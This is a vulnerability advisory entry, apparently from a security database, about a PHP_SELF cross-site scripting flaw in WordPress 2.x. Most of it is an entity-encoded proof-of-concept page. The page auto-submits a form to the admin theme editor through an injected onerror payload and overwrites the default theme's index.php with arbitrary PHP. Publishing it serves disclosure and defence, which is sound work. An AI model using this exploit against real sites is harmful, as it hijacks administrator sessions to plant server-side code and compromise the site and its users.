WordPress 2.x PHP_Self Cross-Site Scripting Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

WordPress PHP self XSS vulnerabilit


                                                source: http://www.securityfocus.com/bid/23027/info

WordPress is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

&#60;!DOCTYPE html PUBLIC &#34;-//W3C//DTD XHTML 1.0 Transitional//EN&#34;
        &#34;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&#34;&#62;
&#60;html xmlns=&#34;http://www.w3.org/1999/xhtml&#34; xml:lang=&#34;es&#34; lang=&#34;es&#34;&#62;	
&#60;head&#62;
	&#60;title&#62;Wordpress XSS PoC&#60;/title&#62;
&#60;/head&#62;
&#60;body id=&#34;main&#34;&#62;

	&#60;form action=&#34;http://localhost/wp/wp-admin/theme-editor.php/&#39;&#62;&#60;img src=a onerror=document.forms[0].submit()&#62;&#60;.php&#34; method=&#34;post&#34;&#62;
		&#60;p&#62;
			&#60;textarea name=&#34;newcontent&#34; rows=&#34;8&#34; cols=&#34;40&#34;&#62;&#60;?php echo &#34;Owned! &#34; . date(&#39;F d, Y&#39;); ?&#62;&lt;/textarea&gt;
		&#60;/p&#62;
		&#60;p&#62;
			&#60;input type=&#34;hidden&#34; name=&#34;action&#34; value=&#34;update&#34; /&#62;
			&#60;input type=&#34;hidden&#34; name=&#34;file&#34; value=&#34;wp-content/themes/default/index.php&#34; /&#62;		
		&#60;/p&#62;
	&#60;/form&#62;	
	&#60;script type=&#34;text/javascript&#34;&#62;
	// &#60;![CDATA[
		document.forms[0].submit();
	// ]]&#62;
	&#60;/script&#62;
&#60;/body&#62;
&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1